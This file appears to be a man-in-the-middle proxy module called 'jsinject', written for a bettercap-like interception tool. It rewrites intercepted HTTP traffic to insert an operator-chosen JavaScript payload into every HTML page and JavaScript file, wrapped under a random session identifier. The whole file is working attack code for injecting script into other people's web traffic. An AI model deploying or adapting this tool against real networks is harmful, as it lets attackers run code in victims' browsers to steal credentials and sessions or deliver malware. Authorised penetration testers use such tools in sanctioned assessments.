var session_id,
payload,
payload_path,
payload_container = "" +
"if (!self.{{session_id}}) {\n" +
"var {{session_id}} = function() {\n" +
"{{payload}}\n" +
"}\n" +
"{{session_id}}();\n" +
"}\n"
var green = "\033[32m",
bold = "\033[1;37m",
reset = "\033[0m"
function randomString(length) {
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
buffer = ""
while (buffer.length < length) {
index = parseInt( Math.random() * chars.length )
buffer = buffer + chars.charAt(index)
}
return buffer
}
function configure() {
payload_path = env["jsinject.payload"].replace(/\s/g, "")
payload = readFile(payload_path)
payload = payload_container.replace("{{payload}}", payload).replace(/\{\{session_id\}\}/g, session_id)
}
function onLoad() {
session_id = randomString( 4 + parseInt( Math.random() * 16 ) )
configure()
log_info(green + "jsinject" + reset + " started injecting payload " + bold + payload_path + reset + " into HTTP traffic.")
log_info(green + "jsinject" + reset + " session ID is " + bold + session_id + reset + ".")
}
function onResponse(req, res) {
configure()
if ( res.ContentType.match(/^text\/html/i) || req.Path.replace(/\?.*/, "").match(/\.(htm|html)$/i) ) {
res.ReadBody()
log_debug("(" + green + "jsinject" + reset + ") attempting to inject HTML document from " + bold + req.Hostname + reset + " ...")
res.Body = res.Body.replace(/<head>/i, "<head><script>" + payload + "</script>")
}
if ( res.ContentType.match(/^text\/javascript/i) || res.ContentType.match(/^application\/javascript/i) || req.Path.replace(/\?.*/, "").match(/\.js$/i) ) {
res.ReadBody()
log_debug("(" + green + "jsinject" + reset + ") attempting to inject JS document from " + bold + req.Hostname + reset + " ...")
res.Body = payload + res.Body
}
}